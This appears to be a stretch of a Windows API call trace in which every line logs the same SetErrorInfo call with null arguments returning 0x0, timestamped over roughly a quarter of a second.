[0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.440] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.440] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.440] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.443] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.444] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.448] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.449] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 